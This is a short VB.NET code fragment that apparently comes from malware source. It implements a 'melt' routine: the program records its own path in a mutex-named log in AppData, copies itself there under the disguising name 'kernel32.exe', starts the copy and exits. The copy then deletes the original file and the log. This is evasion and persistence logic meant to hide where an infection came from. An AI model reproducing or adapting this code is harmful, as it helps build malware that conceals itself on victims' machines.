If System.IO.File.Exists(appdata & "\" & mutex & ".log") = True Then
            Try
                Dim oldpath As String = System.IO.File.ReadAllText(appdata & "\" & mutex & ".log")
                System.IO.File.Delete(oldpath)
                System.IO.File.Delete(appdata & "\" & mutex & ".log")
                Exit Sub
            Catch ex As Exception
                MessageBox.Show("Melt error: " & ex.ToString)
            End Try
        Else
            System.IO.File.WriteAllText(appdata & "\" & mutex & ".log", Application.ExecutablePath)
a:
            If System.IO.File.Exists(appdata & "\kernel32.exe") Then
                System.IO.File.Delete(appdata & "\kernel32.exe")
                GoTo a
            Else
                System.IO.File.Copy(Application.ExecutablePath, appdata & "\kernel32.exe")
                Process.Start(appdata & "\kernel32.exe")
                Me.Close()
            End If
        End If